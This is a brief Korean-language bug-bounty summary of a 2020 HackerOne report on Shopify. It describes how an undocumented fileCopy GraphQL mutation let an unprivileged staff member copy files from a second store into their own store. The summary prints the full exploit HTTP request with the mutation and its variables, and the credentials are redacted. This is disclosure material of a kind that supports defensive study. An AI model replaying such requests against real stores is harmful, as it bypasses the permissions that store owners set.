hackerone-shopify-2020-10-m-981472
Undocumented fileCopy GraphQL API
권한이 없는 직원이 다른 스토어의 파일을 현재 스토어에 복사할 수 있었다. fileCopy 라는 API는 스토어 B에서 스토어 A로 파일을 복사하는 API다. 이를 통해 악의적인 A 스토어 직원이 파일을 올리고 싶지만 권한이 없을 때, B 스토어를 생성하고 B 스토어에 파일을 업로드해 A 스토어로 옮길 수 있었다.
POST /admin/internal/web/graphql/core HTTP/1.1
Cookie: [REDACTED]
accept: application/json
X-CSRF-Token: [REDACTED]
Content-Type: application/json
User-Agent: PostmanRuntime/7.26.5
Postman-Token: a02c5039-29f0-4280-9084-cfe12703ff60
Host: storeA.myshopify.com
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 485
{"query":"\r\nmutation fileCopy ($key:String!,$absoluteKey:String!,$path:String!){fileCopy (key:$key,path:$path,absoluteKey:$absoluteKey) {\r\nfile{\r\n \r\n path\r\n}\r\n userErrors {\r\n field\r\n message\r\n}\r\n }\r\n}","variables":{
"absoluteKey": "s/files/1/d/0864/0471/6006/6199/files/1.jpg",
"key": "files/1.jpg",
"path": "https://cdn.shopify.com/s/files/1/0471/6006/6199/files/1.jpg?6"
}
}absoluteKey 경로를 B 스토어에서 파일을 올린 후 얻은 경로로 지정하면 됐다.
tags: bughunting, shopify, access control vulnerability, wstg-athz-03, severity medium, web hacking